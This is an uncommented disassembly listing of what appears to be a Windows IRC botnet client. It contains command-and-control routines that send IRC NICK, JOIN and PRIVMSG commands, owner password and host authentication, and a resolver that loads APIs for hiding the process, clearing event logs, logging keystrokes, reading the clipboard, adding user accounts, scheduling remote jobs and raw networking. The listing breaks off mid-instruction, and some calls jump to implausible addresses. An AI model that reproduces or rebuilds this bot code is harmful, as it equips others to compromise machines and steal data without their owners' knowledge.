XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call near ptr 2680000h nop loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h nop call near ptr 2680000h locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj nop call near ptr 2680880h mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26A0CEEh nop mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j call near ptr 2680880h nop mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj nop call near ptr 2680880h mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j nop call near ptr 2680880h mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj nop call near ptr 2680880h mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj nop call near ptr 2680880h mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj call near ptr 2680880h nop mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j call near ptr 2680880h nop mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j nop call near ptr 2680880h mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj nop call near ptr 2680880h mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp 